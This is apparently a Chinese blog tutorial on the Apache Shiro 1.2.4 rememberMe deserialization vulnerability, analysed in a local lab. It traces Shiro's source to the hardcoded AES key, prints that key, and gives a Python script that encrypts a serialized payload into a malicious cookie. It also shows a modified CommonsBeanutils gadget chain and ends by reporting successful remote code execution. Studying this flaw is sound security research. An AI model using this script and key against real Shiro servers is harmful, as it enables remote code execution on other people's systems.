Shiro反序列化
环境搭建
我用的jdk版本是8u65
1、下载shiro1.2.4:
https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4、
2、IDEA打开shiro-root-1.2.4修改shiro-root-1.2.4/samples/web/pom.xml中的jstl的依赖版本为1.2,没有就自己加一个

3、下载pom.xml源代码
4、配置Tomacat服务器


5、启动shiro-root-1.2.4/samples/web/src/main/webapp/index.jsp

登录
为了方便后面调试,先以调试模式运行项目。来到login.jsp

记得勾上Remember Me
抓一下登录的包

这个cookie看着很长,并且之后每次请求的时候都会带上这个cookie,说明其中一定存放了什么信息
接下来就来研究一下这个cookie到底存了什么
探索cookie
回到源码中找到与cookie有关的代码(这里的快捷键是两下shift)

这里找到了CookieRememberMeManager,看这个名字就可以知道,这个类处理remember me的功能
可以看到这里有序列化反序列化的过程

可以看出,最终的cookie是base64编码的,继续往上找谁调用了这个函数
protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {
if (!WebUtils.isHttp(subjectContext)) {
if (log.isDebugEnabled()) {
String msg = "SubjectContext argument is not an HTTP-aware instance. This is required to obtain a " +
"servlet request and response in order to retrieve the rememberMe cookie. Returning " +
"immediately and ignoring rememberMe operation.";
log.debug(msg);
}
return null;
}
WebSubjectContext wsc = (WebSubjectContext) subjectContext;
if (isIdentityRemoved(wsc)) {
return null;
}
HttpServletRequest request = WebUtils.getHttpRequest(wsc);
HttpServletResponse response = WebUtils.getHttpResponse(wsc);
String base64 = getCookie().readValue(request, response);
// Browsers do not always remove cookies immediately (SHIRO-183)
// ignore cookies that are scheduled for removal if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null;
if (base64 != null) {
base64 = ensurePadding(base64);
if (log.isTraceEnabled()) {
log.trace("Acquired Base64 encoded identity [" + base64 + "]");
}
byte[] decoded = Base64.decode(base64);
if (log.isTraceEnabled()) {
log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
}
return decoded;
} else {
//no cookie set - new site visitor?
return null;
}
}
找到了getRememberedPrincipals这个函数,其中调用了convertBytesToPrincipals

继续跟进,这个函数先解密,然后反序列化
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
if (getCipherService() != null) {
bytes = decrypt(bytes);
}
return deserialize(bytes);
}
先总结一下,cookie中存放的是加密并base64编码后的序列化数据,每次访问时,服务器收到cookie都会解密并反序列化。
接下来看反序列化的实现,实际就是调用了原生的反序列化,有CC的依赖就可以打反序列化漏洞了
public T deserialize(byte[] serialized) throws SerializationException {
if (serialized == null) {
String msg = "argument cannot be null.";
throw new IllegalArgumentException(msg);
}
ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
BufferedInputStream bis = new BufferedInputStream(bais);
try {
ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
@SuppressWarnings({"unchecked"})
T deserialized = (T) ois.readObject();
ois.close();
return deserialized;
} catch (Exception e) {
String msg = "Unable to deserialze argument byte array.";
throw new SerializationException(msg, e);
}
}
解密的实现,先获取了密钥,然后用cipherService.decrypt解密
protected byte[] decrypt(byte[] encrypted) {
byte[] serialized = encrypted;
CipherService cipherService = getCipherService();
if (cipherService != null) {
ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
serialized = byteSource.getBytes();
}
return serialized;
}
这里的decrypt是一个接口,第三个参数是key,只有一个key可以推测是对称加密。这时候就想知道key到底是什么
void decrypt(InputStream in, OutputStream out, byte[] decryptionKey) throws CryptoException;
key是通过这个函数获取的
public byte[] getDecryptionCipherKey() {
return decryptionCipherKey;
}
跟进去发现是一个常量
private byte[] decryptionCipherKey;
是通过setDecryptionCipherKey赋值的
public void setDecryptionCipherKey(byte[] decryptionCipherKey) {
this.decryptionCipherKey = decryptionCipherKey;
}
继续往上找
public void setCipherKey(byte[] cipherKey) {
//Since this method should only be used in symmetric ciphers
//(where the enc and dec keys are the same), set it on both:
setEncryptionCipherKey(cipherKey);
setDecryptionCipherKey(cipherKey);
}
最终找到了这里,key居然是一个常量
public AbstractRememberMeManager() {
this.serializer = new DefaultSerializer<PrincipalCollection>();
this.cipherService = new AesCipherService();
setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
}
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
理清了基本流程后,在解密的地方打个断点调试一下。
这里可以看到加密算法是AES,用的是CBC模式

整个过程就是:读取cookie中rememberMe值->base64解码->AES解密->反序列化
只要获取到密钥,就可以进行反序列化操作。
已经拿到了AES密钥,就可以构造恶意命令了。
这里可以用CB链构造,虽然依赖中有CC链,但都是在test中使用的,项目的依赖中没有CC
CB链
具体链子详见上一篇文章
加密脚本
import sys
import base64
import uuid
from random import Random
from Crypto.Cipher import AES
def get_file_data(filename):
with open(filename, 'rb') as f:
data = f.read()
return data
def aes_enc(data):
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
return ciphertext
def aes_dec(enc_data):
enc_data = base64.b64decode(enc_data)
unpad = lambda s: s[:-ord(s[-1:])]
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = enc_data[:16]
encryptor = AES.new(base64.b64decode(key), mode, iv)
plaintext = encryptor.decrypt(enc_data[16:])
plaintext = unpad(plaintext)
return plaintext
if __name__ == '__main__':
data = get_file_data("ser.bin")
print(aes_enc(data))
发送

但是没有反应,日志显示找不到org.apache.commons.collections.comparators.ComparableComparator,但是我明明没用到CC的依赖,为什么会找不到CC呢?


实际上,在BeanComparator中传了了ComparableComparator,这是CC里面的
public BeanComparator( String property ) {
this( property, ComparableComparator.getInstance() );
}
可以用另一个构造函数替代
public BeanComparator( String property, Comparator comparator ) {
setProperty( property );
if (comparator != null) {
this.comparator = comparator;
} else {
this.comparator = ComparableComparator.getInstance();
}
}
所以要找一个实现了Serializable和Comparator接口的类
这里可以用AttrCompare
CB链代码
只需要改这一句
BeanComparator beanComparator = new BeanComparator("outputProperties",new AttrCompare());
加密,编码

成功rce


浙公网安备 33010602011771号